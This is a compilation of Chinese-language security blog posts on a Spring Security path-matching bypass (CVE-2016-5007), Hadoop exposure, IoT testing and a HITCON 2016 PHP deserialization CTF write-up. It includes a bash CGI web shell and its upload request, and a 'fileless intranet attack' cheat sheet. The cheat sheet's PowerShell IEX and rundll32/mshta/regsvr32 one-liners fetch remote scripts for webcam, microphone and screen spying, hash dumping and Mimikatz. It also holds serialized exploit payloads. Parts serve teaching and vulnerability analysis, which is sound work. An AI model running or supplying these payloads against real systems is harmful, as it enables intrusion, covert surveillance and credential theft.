CVE-2016-5007 Spring Security / MVC Path Matching Inconsistency

概要

  • 产品名称:Spring Web + Spring Security / Spring Boot
  • 标题:Spring Security / MVC Path Matching Inconsistency
  • CVE ID: CVE-2016-5007
  • Intrinsec ID:ISEC-V2016-01
  • 风险级别:中
  • 漏洞利用:远程
  • 影响:请求授权绕过

描述

此漏洞影响的Spring Web和Spring Security使用HttpSecurity.authorizeRequests用于URL访问控制的应用。

Spring提供了一个Spring Security使用文档:

http://docs.spring.io/spring-security/site/docs/current/reference/html/jc.html#authorize-requests

protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()                                                                
            .antMatchers("/resources/**", "/signup", "/about").permitAll()                  
            .antMatchers("/admin/**").hasRole("ADMIN")                                      
            .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')")            
            .anyRequest().authenticated()                                                   
            .and()
        // ...
        .formLogin();
}

在以下示例中,用户”User”不是管理员,并且无法访问”/admin/”管理目录:

cve-2016-5007-1.png

但是,如果在URL中将空格(或其他空格字符)附加到”admin”前后,可以轻易绕过安全过滤器。

  • 附加空格(由浏览器自动编码为”%20″):

cve-2016-5007-2.png

  • %0D前置:

cve-2016-5007-3.png

问题是使用不同的匹配器来实现访问控制,并且识别哪个控制器类应该处理请求。用于访问控制的第一个匹配器是严格的:”admin “被认为不同于”admin”:

cve-2016-5007-4.png

然而,用于找到适当的控制器的第二匹配器应用删除每个URL令牌之前和之后的空白的修剪操作,因此”admin”变为”admin”:

cve-2016-5007-5.png

总之:

访问控制匹配器不识别受保护的路径,因此应用默认的“允许”规则,而控制器查找器匹配器找到受保护的控制器。

两个匹配器之间的严格性不匹配导致了这种情况。

这个漏洞危害性高低与否取决越权查看页面后查询数据的时候是否有校验当前用户的session。

影响版本

  • Spring Security 3.2.x,4.0.x,4.1.0
  • Spring框架3.2.x,4.0.x,4.1.x,4.2.x
  • 其他不受支持的版本也会受到影响

解决方案

Spring Security提供了可以将模式匹配委派给Spring框架的URL授权,要利用这个选项,应用程序应该升级到Spring Security 4.1.1+和Spring Framework 4.3.1+并使用MvcRequestMatcher。

Spring Framework 3.2.x,4.0.x,4.1.x,4.2.x的用户可以使用MVC Java配置或MVC命名空间将AntPathMatchertrimTokens属性设置为“false”。

此外,应用程序应该总是使用Spring Security的一种机制(例如添加@Secured注释),在应用程序的业务层使用额外的授权来补充基于URL的授权。

分享一个两年前的测试案例:

目标是基于拦截器的访问控制,但是系统做拦截判断的时候是采用完全匹配模式校验,所以可以轻易绕过。

http://xxx.com:8000/security/security!admin.action --blocking
http://xxx.com:8000////security/security!admin.action --bypass

简单总结下这个两个漏洞产生的原因:

第一个案例的问题问题出现在第二个规则检测前的数据处理工作,do_work(a)的时候已经不知道do_check(a)是什么内容了!这里能做什么?只能保证保持输入a不变,能做事就做,做不了就反馈错误!此类问题绝非个案,平时代码审计可以多加关注。

Reference

Hadoop渗透及安全加固

最近看到微博有人在讨论在Hadoop安全问题,也顺便了看一下。

hadoop1.jpg

前言

很多产品设计之初就是使用在内网,所以默认不开启身份认证或者压根就没有身份认证模块,这种设计理念是有问题的 。例如es、redis、mongodb这些基础设施级的软件就因为没有身份认证很多安全问题都是由它导致的 。同时产品的安全设计也不要寄托在开发人员/运维人员的安全意识上,即使是安全人员也有疏忽大意的时候。

Hadoop简介

Hadoop是一个由Apache基金会所开发的一个开源 高可靠 可扩展的分布式计算框架。Hadoop的框架最核心的设计就是:HDFS和MapReduce。

HDFS为海量的数据提供了存储,MapReduce则为海量的数据提供了计算。

HDFS是Google File System(GFS)的开源实现。

MapReduce是一种编程模型,用于大规模数据集(大于1TB)的并行运算。

安全问题

总的来说Hadoop安全问题涉及三个方面

WebUI敏感信息泄漏

Hadoop默认情况开放了很多端口提供WebUI,下面这些多多少少都会泄漏一些信息,但是总的来说在内网还好吧。

一、HDFS

1.NameNode 默认端口                    50070
2.SecondNameNode 默认端口        50090
3.DataNode 默认端口                       50075
4.Backup/Checkpoint node 默认端口  50105

二、MapReduce

1.JobTracker 默认端口    50030
2.TaskTracker 默认端口   50060

端口探测,扫描HDFS和MapReduce的WebUI对应的服务端口

hdoop2.jpg

hadoop.jpg

NameNode WebUI管理界面

通过NameNode节点管理HDFS

hadoop3.jpg

其中比较重要的是DataNode 默认端口50075开放的话,攻击者可以通过hdsf提供的restful api对hdfs存储数据进行操作。

restful api参考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

hadoop4.jpg

MapReduce代码执行漏洞

MapReduce demo:https://github.com/huahuiyang/yarn-demo

稍微改动了一下:

FileInputStream file = null;
BufferedReader reader = null;
InputStreamReader inputFileReader = null;
String content = "";
String tempString = null;
try {
   file = new FileInputStream("/etc/passwd");
   inputFileReader = new InputStreamReader(file, "utf-8");
   reader = new BufferedReader(inputFileReader);
   // 一次读入一行,直到读入null为文件结束
   while ((tempString = reader.readLine()) != null) {
      content += tempString;
   }
   reader.close();
} catch (IOException e) {
   e.printStackTrace();
} finally {
   if (reader != null) {
      try {
         reader.close();
      } catch (IOException e1) {
      }
   }
}
utput.collect(new Text(content), new IntWritable(1));

执行mapreduce任务:

bin ./hadoop jar wordcount.jar com.yhh.mapreduce.wordcount.WordCount data.txt result

查看执行结果:

bin cat result/part-00000

hadoop6.jpg

既然可以执行jar程序,执行系统命令还是很容易的,但是这个需要一个Hadoop的shell, 问题也不大。

Hadoop的第三方插件安全漏洞

Cloudera Manager <=5.5

  • Cloudera Manager CVE-2016-4949 Information Disclosure Vulnerability
  • Template rename stored XSS (CVE-2016-4948)
  • Kerberos wizard stored XSS (CVE-2016-4948)
  • Host addition reflected XSS (CVE-2016-4948)

Cloudera HUE =< 3.9.0

  • Enumerating users with an unprivileged account (CVE-2016-4947)
  • Stored XSS (CVE-2016-4946)
  • Open redirect

Apache Ranger =< 0.5

  • Unauthenticated policy download
  • Authenticated SQL injection (CVE-2016-2174)

Apache Group Hadoop 2.6.x

  • Apache Hadoop MapReduce信息泄露漏洞(CVE-2015-1776)

Hive任意命令/代码执行漏洞

  • HQL可以通过transform自定义Hive使用的 Map/Reduce
    脚本,从而调用shell/Python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限

漏洞往往是相似的,Spark 6066 7077端口也存在着类似的安全问题,默认情况下可以推送jar包执行,如果权限足够大可以实现植入ssh公钥,有兴趣的可以研究下,估计在内网可以搞到一些研发的机子。。。

总结

漏洞往往是相似的,Spark 6066 7077端口也存在着类似的安全问题,默认情况下可以推送jar包执行,如果权限足够大可以实现植入ssh公钥,有兴趣的可以研究下,估计在内网可以搞到一些研发的机子。

安全解决方案

reference

物联网(IOT)安全测试经验总结

前言

今年早些时候,我参与了许多关于物联网解决方案的安全测试。主要目标是找出体系结构和解决方案中的漏洞。在这篇文章中,我将讨论一些与物联网解决方案的问题和挑战。

什么是物联网?

在你学习有关IPv6的时候,你的老师或许说过,有一天在你的房子每个设备都会有一个IP。物联网基本上就是处理每天的事务,并把它们连接到互联网上。一些常见的物联网设备:如灯光,窗帘,空调。也有像冰箱这样的不太常见的设备,甚至一个卫生间?(实际应用

物联网的定义是:“提出了互联网的发展,日常物品有网络连接,允许,发送和接收数据。”。

物联网体系结构

通常有这五个部分:

  • 执行器:通过物理过程控制事物,如空调机组,门锁,窗帘,
  • 网关:用于收集传感器信息和控制中心
  • 传感器:用于检测环境,例如光,运动,温度,湿度,水/电量,
  • 云:Web界面或API托管用于收集数据的云端web应用和大型数据集分析。一般来说,就是用来做信息与其他方资源共享时,
  • 移动(app):移动设备大多使用的,在设备上的应用程序,以实现手机端控制IoT环境来进行互动

architecture.png

物联网环境本身的控制传感器和执行器通常使用这些无线协议(还有更多的):

  • Wifi
  • Zwave
  • ZigBee
  • Bluetooth
  • RF433

protocol.png

每个协议都有其优缺点,也有很多的限制。当谈到选择哪种协议时,最大的问题是兼容性。下面的表格显示了协议之间的快速对照:

20161115002526.png

主要的驱动程序使用特定的协议。例如rf433已经大范围使用,但不具有网状网络和默认的安全机制。这意味着,如果你如果想要安全性,你就不得不拿出自己的协议,这意味着你的用户将使用现成的传感器或设备。ZigBee和Zwave在很大程度上都是一样的。他俩之间的主要区别是在设备的通信范围。

你可以从ZigBee安全技术白皮书中了解更多,这里也有一份相关文档

威胁矢量

任何安全评估你都需要了解你的敌人是谁,他们会如何攻击系统并滥用使用它们。当我做威胁引导的时候我认为设备包含在环境中的信息,这些驱动器都在什么地方,都有可能构成什么样风险。一个物联网设备被黑可能是被用来针对物联网环境或仅仅是变成一个僵尸网被用来攻击外部网络(或两者的组合)。你应该评估什么可以影响执行器,以及如何确定传感器的值可能会影响环境。要做到这一点,你必须很了解物联网生态系统的工作方式,什么类型的设备可能会被使用,以及影响可能会如何扩大。

2340.png

物联网中常见的漏洞

  • 未经身份验证的更新机制
  • SQL / JSON注入
  • 设计逻辑
  • 过于信任

未经身份验证的更新机制

更新软件包有很多不同的方法。有些人用在Linux系统中传统的软件包管理器,使用较少的传统手段,如可执行程序,可运行于同一网络上的计算机,来从云环境倒推更新。这些更新的机制最大的问题是,他们不使用安全的手段来提供软件包。例如使用单一的可执行文件的机制,访问一个隐藏的API用于在网关替换文件。你需要做的是上传CGI文件替换现有文件。在这种特定的情况下的网关是bash的CGI运行,所以就上传了自己的shell:

#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2

请求:

POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=------7cf2a327f01ae
User-Agent: REDACTED
Host: 192.168.1.98:8181
Content-length: 482
Pragma: no-cache
 
--------7cf2a327f01ae
Content-Disposition: form-data; name="auth"
 
11366899
--------7cf2a327f01ae
Content-Disposition: form-data; name="type"
 
w
--------7cf2a327f01ae
Content-Disposition: form-data; name="file"; filename="C:\REDACTED CONFIGURATOR\output\login.cgi"
#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2
--------7cf2a327f01ae

你应该能猜出接下来会发生什么:

codeexec.png

SQL/NoSQL injection

SQL注入已经是一个存在很长时间的漏洞,当然注入漏洞的产生是因为程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。 我们可以看到很多的解决方案,很多开发商并不认为这是NoSQL数据库的问题或只是不知道这是一个问题。在这里,我的建议是一定要做适当的输入验证和过滤。这里没有案例分析,但可以看看这篇文章 websecurify.

设计逻辑和过于信任

由于没有可用的参考架构,我们看到过很多的架构,虽然框架能使事情变得更容易,但它可能存在很大的风险威胁,一个单一的组件可能被破坏。此外,我们看到开发商认为通信中传统用户输入是不会造成威胁的。在一个这样的实例中,我们注意到,当拦截网关和云之间的通信时,没有从网关标识符(我们可以很容易地枚举)的身份验证。这导致了我们可以注入获取其他用户的信息。其他一些实例包括:

  • 移动应用程序直接登录到数据库(所有设备使用相同的密码)
  • 本地网络通信不加密
  • 消息没有签名或进行加密
  • 易暴力枚举或不可撤销信息(如出生和名称为准)的使用作为API密钥来识别用户的网关
  • 通过默默无闻的安全性
  • 内部开发的加密算法

我在这里的建议:

  • 接收端的信息适当编码处理恶意信息,这意味着客户机不应当为服务器和客户机提供明文信息。一般使用审核和验证框架。
  • 如果设备在网络中托管,不要指望任何输入是值得信赖。
  • 在所有通信中使用合适的加密(https)如果证书是无效的则不开放
  • API密钥相当普遍,以确定一个特定的网关。因为该标识符的服务器作为认证令牌,则需要确保该识别符是使用密码安全RNG随机生成的。一般建议使用128位(32个字符)。
  • 即使是最知名的密码学家也不能保证自己算法的百分百安全。

很多时候用户希望使用自己的手机在家里远程控制他们的服务。例如打开空调或打开门。这就会引发一个问题,你的网关通常位于路由器后面,而不是直接从Internet访问。有些解决方案不需要使用端口转发,但这还需要一个动态的DNS解决方案,需要用户配置。

一般公司做的是移动应用程序将指令发送到云端,然后网关从云端获取指令。

encrypt.png

结论

人们总想着把任何东西都交给互联网,但往往会发生严重的安全错误。大多数错误是由于安全目标不明确,缺乏经验和意识。我们必须采取安全的物联网策略,而不是期望他们来给我们安全。

一些物联网安全的解决方案参考:

最后分享个脚本,通过代理做一个从物联网网关到互联网的拦截。可以用于安全测试:

#!/bin/sh
echo "Interface with internet connectivity: "
read iInf
echo "Secondary interface with rogue device: "
read wInf
echo "Stopping network manager ..."
service network-manager stop
echo "Stopping dnsmasq ..."
service dnsmasq stop
echo "Bringing down wireless interface ..."
ifconfig $wInf down
echo "Configuring wireless interface ..."
ifconfig $wInf 192.168.1.1 netmask 255.255.255.0
echo "Starting dnsmasq as DHCP server ..."
dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m --dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25 --pid-file=/var/run/nm-dnsmasq-wlan.pid
echo "Stopping firewall and allowing everyone ..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
echo "Enabling NAT ..."
iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE
echo "Enabling IP forwarding ..."
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Gateway setup is complete"
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 443 -j REDIRECT --to-port 8080

内网无文件攻击姿势

Powershell

屏幕监控:

powershell -nop -exec bypass -c “IEX (New-Object 
Net.WebClient).DownloadString(‘http://evi1cg.me/powershell/Show-TargetScreen.ps1’); Show-TargetScreen”

录音:

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1’);GetMicrophoneAudio
-Path $env:TEMP\secret.wav -Length 10 -Alias ‘SECRET’”

摄像头监控:

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/xorrior/RandomPS-Scripts/master/MiniEye.ps1’); Capture-MiniEye -RecordTime 2 -
Path $env:temp\hack.avi”-Path $env:temp\hack.avi”

抓Hash:

powershell IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes

抓明文:

powershell IEX (New-Object Net.WebClient).DownloadString('http://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikat

Empire:

14555940166132.png

Metasploit:

metasploit.png

js

JsRat:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.
5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.S
end();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WSc
ript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

LocalNetworkScanner:

http://blog.skylined.nl/LocalNetworkScanner/

223801u4zcjrpsnwjnmj0j.png

获取客户端内网IP和外网IP(STUN)

http://github.com/diafygi/webrtc-ips

Firefox 跟 Chrome支持WebRTC可以向STUN服务器请求,返回内外网IP,不同于XMLHttpRequest请求,STUN请求开发者工具当中看不到网络请求的。

//get the IP addresses associated with an account
function getIPs(callback){
    var ip_dups = {};
 
    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
 
    //firefox already has a default stun server in about:config
    //    media.peerconnection.default_iceservers =
    //    [{"url": "stun:stun.services.mozilla.com"}]
    var servers = undefined;
 
    //add same stun server for chrome
    if(window.webkitRTCPeerConnection)
        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
 
    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);
 
    //listen for candidate events
    pc.onicecandidate = function(ice){
 
        //skip non-candidate events
        if(ice.candidate){
 
            //match just the IP address
            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
 
            //remove duplicates
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
 
            ip_dups[ip_addr] = true;
        }
    };
 
    //create a bogus data channel
    pc.createDataChannel("");
 
    //create an offer sdp
    pc.createOffer(function(result){
 
        //trigger the stun server request
        pc.setLocalDescription(result, function(){});
 
    }, function(){});
}
 
//Test: Print the IP addresses into the console
getIPs(function(ip){console.log(ip);});

Demo: http://diafygi.github.io/webrtc-ips/

mshta

启动JsRat:

Mshta javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp
.WinHttpRequest.5.1");h.Open("GET","http://192.16
8.2.101:9998/connect",false);try{h.Send();b=h.Res
ponseText;eval(b);}catch(e){new%20ActiveXObject("
WScript.Shell").Run("cmd /c taskkill /f /im
mshta.exe",0,true);}

运行JSRAT:

regsvr32 /s /n /u /i:http://urlto/JSRAT.sct scrobj.dll

JSRAT.sct

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Learn from Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
        new ActiveXObject("WScript.Shell").Run(rat,0,true);
    
        ]]>
</script>
</registration>
</scriptlet>

sct

SCT:

regsvr32 /u /s
/i:http://urlto/calc.sct scrobj.dll

calc.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
    <!-- That should work over a proxy and SSL/TLS... -->
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

wsc

Wsc:

rundll32.exe
javascript:"\..\mshtml,RunHTMLApplic
ation
";document.write();GetObject("script
:http://urlto/calc.wsc")

calc.wsc

<?xml version="1.0"?>

<package>
<component id="testCalc">

<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
]]>
</script>

</component>
</package>

由HITCON 2016一道web聊一聊php反序列化漏洞

反序列化漏洞在各种语言中都较为常见,下面介绍一下php的反序列化漏洞。

1.unserialize函数

php官方文档(http://php.net/manual/en/function.unserialize.php),从中可以得到信息unserialize函数会产生一个php值,类型可能为数组、对象等等。如果被反序列化的变量为对象,在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false)同时给出了警告,不要传递给unserialize不信任的用户输入。

理解序列化的字符串(unserlialize的参数):

O:3:”foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}

O:3: 参数类型为对象(object),数组(array)为a

“foo”:2: 参数名为foo,有两个值

S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i),长度为4,值为file。长度为9的字符串shell.php

s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data,长度为5的字符串aaaaa

object foo,属性file:shell.php,属性data:aaaaa

2.反序列化漏洞

php反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)

个人理解漏洞为执行unserialize函数,调用某一类并执行魔术方法(magic method),之后可以执行类中函数,产生安全问题。

所以漏洞的前提:

  • 1)unserialize函数的变量可控
  • 2)php文件中存在可利用的类,类中有魔术方法

利用场景在ctf、代码审计中常见,黑盒测试要通过检查cookie等有没有序列化的值来查看。

反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞,ctf中比如三个白帽第三期、安恒杯web3。

防御方法主要有对参数进行处理、换用更安全的函数。

推荐阅读:SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

3.反序列化练习

如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串

如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串

<?php 

// 某类 

class User 

{ 

  // 类数据 

  public $age = 0; 

  public $name = ''; 

  // 输出数据 

  public function PrintData() 

  { 

    echo 'User ' . $this->name . ' is ' . $this->age 

      . ' years old. <br />'; 

  } 

} 

// 创建一个对象 

$usr = new User(); 

// 设置数据  

$usr->age = 20; 

$usr->name = 'John';  

// 输出数据  

$usr->PrintData();  

// 输出序列化之后的数据  

echo serialize($usr); 

?>

输出为:

User John is 20 years old.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

以下代码同上,不过并没有创建对象,而是使用unserialize函数调用了这个类。大家可以试一下。

<?php 

// 某类 

class User 

{ 

// Class data  

  public $age = 0; 

  public $name = '';  

  // Print data 
 public function PrintData() 

  { 

    echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; 

  } 

} 

// 重建对象 

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  

// 调用PrintData 输出数据  

$usr->PrintData();  

?>

输出为:

User John is 20 years old

这个函数中的序列化字符串为’O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}’,即一个user对象,属性值age为20,属性值name为john。调用user类并给属性赋了值,在有魔术方法时会自动调用。

4.writeup实战

以本次HITCON 2016的web题babytrick为例:

访问链接 http://52.198.42.246/ 可以看到源代码如下:

(目前已关闭,可访问https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick查看源码

<?php

include "config.php";

class HITCON{

  private $method;

  private $args;

  private $conn;

  public function __construct($method, $args) {

    $this->method = $method;

    $this->args = $args;

    $this->__conn();

  }

  function show() {

    list($username) = func_get_args();

    $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

    $obj = $this->__query($sql);

    if ( $obj != false ) {

      $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );

    } else {

      $this->__die("Nobody Nobody But You!");

    }  

  }

  function login() {

    global $FLAG;

    list($username, $password) = func_get_args();

    $username = strtolower(trim(mysql_escape_string($username)));

    $password = strtolower(trim(mysql_escape_string($password)));

    $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

    if ( $username == 'orange' || stripos($sql, 'orange') != false ) {

      $this->__die("Orange is so shy. He do not want to see you.");

    }

    $obj = $this->__query($sql);

    if ( $obj != false && $obj->role == 'admin' ) {

      $this->__die("Hi, Orange! Here is your flag: " . $FLAG);

    } else {

      $this->__die("Admin only!");

    }

  }

  function source() {

    highlight_file(__FILE__);

  }

  function __conn() {

    global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

    if (!$this->conn)

      $this->conn = mysql_connect($db_host, $db_user, $db_pass);

    mysql_select_db($db_name, $this->conn);

    if ($DEBUG) {

      $sql = "CREATE TABLE IF NOT EXISTS users (

            username VARCHAR(64),

            password VARCHAR(64),

            role VARCHAR(64)

          ) CHARACTER SET utf8";

      $this->__query($sql, $back=false);

      $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";

      $this->__query($sql, $back=false);

    }

    mysql_query("SET names utf8");

    mysql_query("SET sql_mode = 'strict_all_tables'");

  }

  function __query($sql, $back=true) {

    $result = @mysql_query($sql);

    if ($back) {

      return @mysql_fetch_object($result);

    }

  }

  function __die($msg) {

    $this->__close();

    header("Content-Type: application/json");

    die( json_encode( array("msg"=> $msg) ) );

  }

  function __close() {

    mysql_close($this->conn);

  }

  function __destruct() {

    $this->__conn();

    if (in_array($this->method, array("show", "login", "source"))) {

      @call_user_func_array(array($this, $this->method), $this->args);

    } else {

      $this->__die("What do you do?");

    }

    $this->__close();

  }

  function __wakeup() {

    foreach($this->args as $k => $v) {

      $this->args[$k] = strtolower(trim(mysql_escape_string($v)));

    }

  }

}

if(isset($_GET["data"])) {

  @unserialize($_GET["data"]);  

} else {

  new HITCON("source", array());

}

从源码中可以看到使用了unserialize函数并且没有过滤,且定义了类。所以想到php反序列化漏洞、对象注入。

要想得到flag,需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话),于是利用类中show函数得到密码。

show函数我们可以看出未对参数进行过滤,可以进行sql注入,构造语句为:

bla’ union select password,username,password from users where username=’orange’– –

那么如何使用反序列化执行函数呢?注意到类中有魔术方法__wakeup,其中函数会对我们的输入进行过滤、转义。

如何绕过__wakeup呢?谷歌发现了CVE-2016-7124,一个月前爆出的。简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考https://bugs.php.net/bug.php?id=72663,某一种情况下,出错的对象不会被毁掉,会绕过__wakeup函数、引用其他的魔术方法。

官方exp如下:

<?php

class obj implements Serializable {

  var $data;

  function serialize() {

    return serialize($this->data);

  }

  function unserialize($data) {

    $this->data = unserialize($data);

  }

}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';

$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

echo $data[1];

?>

根据poc进行改造如下,计入了

O:9:"Exception":2:{s:7:"*file";R:4;};}
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"password";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

这种情况下就不会执行__wakeup方法。

(同时该cve介绍了另一种情况,即成员属性数目大于实际数目时可绕过wakeup方法,把 O:6:”HITCON”:3 中的3改为任意比3大数字即可,如5。另一种绕过方法为对wakeup过滤的绕过,利用了sql注入中的/**/

为什么构造的字符串为“%00HITCON%00…”呢?k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0×00,url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private。

如果在文件里直接调试就不用url编码,直接” HITCON …”即可(%00替换为空格

加入注入语句为:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:2:{i:0;s:83:"bla’ union select password,username,password from users where username=’orange’– –";i:1;s:6:"phddaa";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到结果:

{“msg”:”babytrick1234 is babytrick1234″}

构造好:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

这时会返回

{“msg”:”Orange is so shy. He do not want to see you.”}

接下来考虑如何绕过,注意到__conn方法中有 mysql_query(“SET names utf8″); 观察到php的字符编码不是utf8,考虑利用字符差异绕过。目前看到的两个wp利用的字母有Ą、Ã,可实现绕过。

poc为:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到了空白页面,注意到 s:6:”orÃnge” ,改为s:6:”orÃnge” ,构造如下:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到了结果,很开心有木有?

{“msg”:”Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn’t it?}”}

参考资料: